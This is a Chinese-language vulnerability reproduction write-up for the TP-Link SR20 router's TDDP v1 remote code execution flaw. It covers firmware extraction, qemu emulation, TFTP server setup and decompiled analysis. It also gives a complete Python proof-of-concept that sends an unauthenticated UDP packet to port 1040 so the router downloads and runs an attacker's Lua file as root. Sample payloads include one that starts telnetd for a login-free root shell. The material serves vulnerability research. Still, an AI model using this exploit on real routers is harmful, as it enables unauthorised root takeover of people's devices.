TP-Link SR20路由器 远程代码执行漏洞
简述:
TP-Link SR20 本地网络远程代码执行漏洞,于3月26日公开。该设备TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令。
漏洞存在于TPlink 调试协议 TDDP v1版协议中,基于UDP协议,监听1040端口。
tddp v1协议,无认证,POC发送数据第二字节为0x31的数据给端口1040的TPlink设备,TPlink设备会请求POC所在机器的TFTP服务下载lua文件使用lua解释器进行以root权限执行,导致远程代码执行漏洞
数据交互流程如下
- attck ————–> request: 0x0131…payload..data —>UDP:port:1040—>TPlink
- TPlink————–>request TFTP download payload file ————————> Attck
- attck—————->response payload content————————————–>TPlink
- TPlink————–>Response command result —>UDP:port:1900——->ATTCK
漏洞复现:
漏洞环境的复原,主要依赖于通过binwalk进行固件模块提取,基于qemu的进行服务模拟复原。
binwalk
在ubuntu 18.04环境下,采用binwalk进行固件提取:
$ sudo apt install git $ git clone https://github.com/ReFirmLabs/binwalk $ cd binwalk $ python setup.py install $ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖
Binwalk 的 GitHub wiki
通过如下命令进行固件提取
binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
会在本地目录下生成 前置加_符号的文件夹用来存储提取的固件的文件夹,如下结构
其中主要的系统文件为 Squashfs filesystem
系统中文件,squashfs-root文件为主要的固件文件系统
├── 18F48B.sit
├── 212FF9.squashfs
├── 26018
├── 26018.7z
├── 39014
├── 39014.7z
├── _39014.extracted
│ ├── 20000.cpio
│ ├── 33F5B
│ ├── 33F5B.7z
│ ├── 3CE330.xz
│ ├── 45055F
│ ├── 45055F.7z
│ └── cpio-root
│ ├── dev
│ │ └── console
│ └── root
└── squashfs-root
├── bin
...
├── usr
│ ├── bin
│ │ ├── [ -> ../../bin/busybox
│ │ ├── [[ -> ../../bin/busybox
│ │ ├── apptest
│ │ ├── arping -> ../../bin/busybox
│ │ ├── awk -> ../../bin/busybox
│ │ ├── basename -> ../../bin/busybox
│ │ ├── bmp2tiff
│ │ ├── bunzip2 -> ../../bin/busybox
│ │ ├── bzcat -> ../../bin/busybox
│ │ ├── cal
│ │ ├── cal_cbr
│ │ ├── cjpeg
│ │ ├── clear -> ../../bin/busybox
│ │ ├── client_mgmt
│ │ ├── cmp -> ../../bin/busybox
│ │ ├── consumer
│ │ ├── crontab -> ../../bin/busybox
│ │ ├── curl
│ │ ├── cut -> ../../bin/busybox
│ │ ├── dev_gpio
│ │ ├── diff -> ../../bin/busybox
│ │ ├── dirname -> ../../bin/busybox
│ │ ├── djpeg
│ │ ├── du -> ../../bin/busybox
│ │ ├── emailNotification
│ │ ├── env -> ../../bin/busybox
│ │ ├── ev2cloud
│ │ ├── ev_system
│ │ ├── expr -> ../../bin/busybox
│ │ ├── factory_reset
│ │ ├── fax2ps
│ │ ├── fax2tiff
│ │ ├── find -> ../../bin/busybox
│ │ ├── flock
│ │ ├── free -> ../../bin/busybox
│ │ ├── ftpasswd
│ │ ├── ftpcount
│ │ ├── ftptop
│ │ ├── ftpwho
│ │ ├── getopt
│ │ ├── gif2tiff
│ │ ├── head -> ../../bin/busybox
│ │ ├── hexdump -> ../../bin/busybox
│ │ ├── hostid -> ../../bin/busybox
│ │ ├── id -> ../../bin/busybox
│ │ ├── ifplugd -> ../../bin/busybox
│ │ ├── iot_ipc
│ │ ├── iot_ipc_ioctl_server
│ │ ├── iotnotify
│ │ ├── iqos-db-loader
│ │ ├── iqos-db-parser
│ │ ├── iwinfo
│ │ ├── jpegtran
│ │ ├── jshn
│ │ ├── killall -> ../../bin/busybox
│ │ ├── less -> ../../bin/busybox
│ │ ├── libtest
│ │ ├── logger
│ │ ├── look
│ │ ├── lua
│ │ ├── luac
│ │ ├── luarsa_keys_gen
│ │ ├── mcookie
│ │ ├── md5sum -> ../../bin/busybox
│ │ ├── mkfifo -> ../../bin/busybox
│ │ ├── namei
│ │ ├── nc -> ../../bin/busybox
│ │ ├── nslookup -> ../../bin/busybox
│ │ ├── ntfs-3g
│ │ ├── ntfs-3g.probe
│ │ ├── nvrammanager
│ │ ├── openssl
│ │ ├── pal2rgb
│ │ ├── passwd -> ../../bin/busybox
│ │ ├── pgrep -> ../../bin/busybox
│ │ ├── ppm2tiff
│ │ ├── printf -> ../../bin/busybox
│ │ ├── producer
│ │ ├── ras2tiff
│ │ ├── raw2tiff
│ │ ├── readlink -> ../../bin/busybox
│ │ ├── rename
│ │ ├── reset -> ../../bin/busybox
│ │ ├── resolveip
│ │ ├── RF_Test.bin
│ │ ├── rgb2ycbcr
│ │ ├── script
│ │ ├── scriptreplay
│ │ ├── seq -> ../../bin/busybox
│ │ ├── setterm
│ │ ├── showUbusCallStatus.sh
│ │ ├── sort -> ../../bin/busybox
│ │ ├── sourceEvent2Cloud
│ │ ├── start_nand_test.sh
│ │ ├── stop_nand_test.sh
│ │ ├── strace
│ │ ├── strings -> ../../bin/busybox
│ │ ├── tail -> ../../bin/busybox
│ │ ├── taskset
│ │ ├── tdb
│ │ ├── tddp 《======================================漏洞触发服务
│ │ ├── tee -> ../../bin/busybox
│ │ ├── telnet -> ../../bin/busybox
│ │ ├── test -> ../../bin/busybox
│ │ ├── tftp -> ../../bin/busybox
│ │ ├── thumbnail
│ │ ├── tiff2bw
│ │ ├── tiff2pdf
│ │ ├── tiff2ps
│ │ ├── tiff2rgba
│ │ ├── tiffcmp
│ │ ├── tiffcp
│ │ ├── tiffcrop
│ │ ├── tiffdither
│ │ ├── tiffdump
│ │ ├── tiffinfo
│ │ ├── tiffmedian
│ │ ├── tiffset
│ │ ├── tiffsplit
│ │ ├── time -> ../../bin/busybox
│ │ ├── top -> ../../bin/busybox
│ │ ├── tpdiscoveryd
│ │ ├── tpnicknamed
│ │ ├── tp_wlan_dev_discoveryd
│ │ ├── tr -> ../../bin/busybox
│ │ ├── traceroute -> ../../bin/busybox
│ │ ├── uniq -> ../../bin/busybox
│ │ ├── uptime -> ../../bin/busybox
│ │ ├── uuidgen
│ │ ├── vmstat
│ │ ├── wall
│ │ ├── wc -> ../../bin/busybox
│ │ ├── wget -> ../../bin/busybox
│ │ ├── whereis
│ │ ├── which -> ../../bin/busybox
│ │ ├── wlan_nvram_init
│ │ ├── xargs -> ../../bin/busybox
│ │ ├── xmlwf
│ │ ├── yes -> ../../bin/busybox
│ │ ├── zigbee_reset
│ │ ├── zipgateway
│ │ ├── zwave_ip_api
│ │ └── zwave_reset
│ ├── lib
│ │ ├── ddns
│ │ │ ├── dynamic_dns_dyndns.sh
│ │ │ ├── dynamic_dns_functions.sh
│ │ │ ├── dynamic_dns_log.sh
│ │ │ ├── dynamic_dns_noip.sh
│ │ │ ├── dynamic_dns_updater.sh
│ │ │ ├── services
│ │ │ └── url_escape.sed
│ │ ├── dnsproxy
│ │ │ ├── dnsproxy_api.sh
│ │ │ └── dnsproxy_deamon.sh
│ │ ├── iptables
│ │ │ ├── libipt_TRIGGER.so
│ │ │ ├── libxt_app.so
│ │ │ └── libxt_httphost.so
│ │ ├── libavcodec.so.54 -> libavcodec.so.54.23.100
│ │ ├── libavcodec.so.54.23.100
│ │ ├── libavdevice.so.54 -> libavdevice.so.54.0.100
...
寻找存在漏洞tddp 的执行文件
155672 0x26018 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 300028 bytes
233464 0x38FF8 TRX firmware header, little endian, image size: 1941504 bytes, CRC32: 0x2DAE9AF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
233492 0x39014 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4629600 bytes
1635467 0x18F48B StuffIt Deluxe Segment (data): f%
2174969 0x212FF9 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13061274 bytes, 2642 inodes, blocksize: 131072 bytes, created: 2018-05-19 04:25:38
15455005 0xEBD31D LZMA compressed data, properties: 0xC0, dictionary size: 15728640 bytes, uncompressed size: 120259099648 bytes
15465624 0xEBFC98 LZMA compressed data, properties: 0xBF, dictionary size: 0 bytes, uncompressed size: 4293918720 bytes
其中 Squashfs filesystem, little endian, version 4.0 其文件系统 大小端序 版本
进行固件提取
FD6949.7z squashfs-root
14868.7z EF6165.7z FA474C.7z FBCC95.7z FD6F35.7z
squashfs-root 目录中的
file tddp
tddp: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
其中文件系统下 /usr/bin/tddp 为触发漏洞的固件。tddp为一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件。
qemu
通过准备qemu 环境进行 tddp 的运行环境准备
参考文章与实践主要有几种方法:
-
基于源码安装qemu进行,选择从 QEMU 官网下载最新稳定版源码来编译安装
编译完成后安装 checkinstall 来生成 deb 包
$ sudo apt-get install checkinstall # 安装 checkinstall $ sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安装 如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。
-
使用 APT
apt install qemu
直接安装 -
使用qemu-static 静态库进行 直接运行服务。
sudo apt-get install qemu-kvm-extras-static/sudo apt-get install qemu-user-static 安装static库
运行: update-binfmts –display 会找到qemu-arm(enabled)的描述
拷贝qemu-arm-static到arm系统的/usr/bin(或指定位置的运行地点)
通过chroot . ./qemu-arm-static /usr/bin/tddp
启动tddp
最后采用apt 的方法安装,通过qemu-arm -L . ./usr/bin/tddp 方式启动tddp 服务
atftpd
同时需要进行ATFTPD 的服务安装,用来让受攻击的固件请求payload
sudo apt install atftpd
- 编辑
/etc/default/atftpd
文件,USE_INETD=true
改为USE_INETD=false
- 修改
/srv/tftp
为/tftpboot
最终
/etc/default/atftpd
文件内容如下:USE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot" $ mkdir /tftpboot $ chmod 777 /tftpboot $ sudo systemctl start atftpd # 启动 atftpd
如果执行命令
sudo systemctl status atftpd
查看 atftpd 服务状态时提示
atftpd: can't bind port :69/udp
无法绑定端口可以执行
sudo systemctl stop inetutils-inetd.service
停用inetutils-inetd
服务后再执行
sudo systemctl restart atftpd
重新启动 atftpd 即可正常运行 atftpd–mcast-port 1900
在环境准备好后
复现过程
启动tddp 服务
root@ubuntu:/home/toor/test/pocs/ssv97887/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root#
qemu-arm -L . ./usr/bin/tddp
[tddp_taskEntry():151] tddp task start
启动 atftp 服务
atftpd.service - LSB: Launch atftpd server
Loaded: loaded (/etc/init.d/atftpd; generated)
Active: active (running) since Wed 2019-04-17 00:52:50 PDT; 24s ago
Docs: man:systemd-sysv-generator(8)
Process: 24907 ExecStop=/etc/init.d/atftpd stop (code=exited, status=0/SUCCESS
Process: 24895 ExecReload=/etc/init.d/atftpd reload (code=exited, status=0/SUC
Process: 24914 ExecStart=/etc/init.d/atftpd start (code=exited, status=0/SUCCE
Tasks: 1 (limit: 4632)
CGroup: /system.slice/atftpd.service
└─24921 /usr/sbin/atftpd --daemon --tftpd-timeout 300 --retry-timeout
Apr 17 00:52:50 ubuntu atftpd[24907]: Stopping Advanced TFTP server: atftpd.
Apr 17 00:52:50 ubuntu systemd[1]: Stopped LSB: Launch atftpd server.
Apr 17 00:52:50 ubuntu systemd[1]: Starting LSB: Launch atftpd server...
Apr 17 00:52:50 ubuntu atftpd[24920]: Advanced Trivial FTP server started (0.7)
Apr 17 00:52:50 ubuntu atftpd[24914]: Starting Advanced TFTP server: atftpd.
Apr 17 00:52:50 ubuntu systemd[1]: Started LSB: Launch atftpd server.
POC利用:
payload 准备:
在 atftp 的根目录 /tftpboot 下写入 payload 文件
payload 文件内容为:
function config_test(config)
os.execute("echo tplink poc test ")
end
POC利用
python3 testpoc.py 192.168.239.138 /payload # 目标 , 指定atftpd 上的利用payload名
使用脚本攻击进行攻击后,tddp 出现
[tddp_taskEntry():151] tddp task start
bad magic number
Invalid command 'zlib'; type "help" for a list.
callback username
callback password
[tddp_parserVerOneOpt():692] TDDPv1: receive CMD_FTEST_CONFIG
[tddp_execCmd():72] cmd: cd /tmp;tftp -gr /payload 192.168.239.138 &
usage: tftp host-name [port]
tftp> tplink poc test 《--------------- 攻击成功
漏洞触发点:
作者分析思路在于对于固件进行漏洞挖掘时,通过对tddp可执行文件进行函数分析时,发现有导入popen()。
popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程。
所以可能会造成攻击利用。
说明敏感函数回溯是一个很好的攻击点。
同时其上层调用的 tddp v1 未做身份认证功能
通过 调用recvfrom()的函数,从网络套接字信息的调用的跟进发现。其处理流程为查看数据包的第一个字节,并使用它来确定正在使用的协议,并根据协议版本将数据包传递给其他调度程序。对于版本1,调度程序只查看数据包的第二个字节,并根据其值调用不同的函数。0x31是CMD_FTEST_CONFIG 同时调用ftest_config函数
该函数主要功能为后台执行tftp命令。回连到攻击的主机tftp服务,并尝试通过与其发送的文件名对应的tftp下载文件,将文件加载到之前初始化的Lua解释器中,并使用配置文件的名称和远程地址调用函数config_test()
参数。config_test()由从远程机器下载的文件提供,在lua解释器中运行可以使用包括仅在主机上所有运行命令包括os.execute
方法。由于tddp以root身份运行,因此可以以root身份执行任意命令,造成了任意代码执行
传参出两个用分号风格的字符串,第一个为文件名,第一个为configfile
int ftest_config(char *byte) {
int lua_State;
char *remote_address;
int err;
int luaerr;
char filename[64]
char configFile[64];
char luaFile[64];
int attempts;
char *payload;
attempts = 4;
memset(luaFile,0,0x40);
memset(configFile,0,0x40);
memset(filename,0,0x40);
lua_State = luaL_newstart();
payload = iParm1 + 0xb027;
if (payload != 0x00) {
sscanf(payload,"%[^;];%s",luaFile,configFile);
if ((luaFile[0] == 0) || (configFile[0] == 0)) {
printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
}
else {
remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address); //进行tftp下载
sprintf(filename,"/tmp/%s",luaFile);
while (0 < attempts) {
sleep(1);
err = access(filename,0);
if (err == 0) break;
attempts = attempts + -1;
}
if (attempts == 0) {
printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
}
else {
if (lua_State != 0) {
luaL_openlibs(lua_State);
luaerr = luaL_loadfile(lua_State,filename); //加载获取回来的lua文件
if (luaerr == 0) {
luaerr = lua_pcall(lua_State,0,0xffffffff,0);
}
lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
//调用lua中的config_test方法 造成 任意代码执行。
lua_pushstring(lua_State,configFile);
lua_pushstring(lua_State,remote_address);
lua_call(lua_State,2,1);
}
lua_close(lua_State);
}
}
}
}
故payload 可以构造如下
function config_test(config)
os.execute("echo poc test")
end
同时向写上回溯可以 通过对tddp 固件进行定位发现协议问题点:
通过上层recveform 函数调用进行数据获取,进行监听处理,对第二个字节处理。
loc_16230 ; jumptable 00015ED8 case 45
MOV R3, #aSDTddpv1Receiv_5 《- TDDPv1:receiveCMD_FTEST_CONFIG" 0x31标签
MOV R0, R3 ; format
MOV R1, #0x195F8
MOV R2, #0x2B4
BL printf
LDR R0, [R11,#var_20]
BL sub_A580 《-该函数为 ftest_config 函数
STR R0, [R11,#var_8]
B loc_163C0
POC如下:
#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
#构造tddp协议头 关键为前两个字节
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2] #构造下载文件路径
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
密网应用:
可通过qemu-static 来进行固件启动模拟,进行交互。
参考链接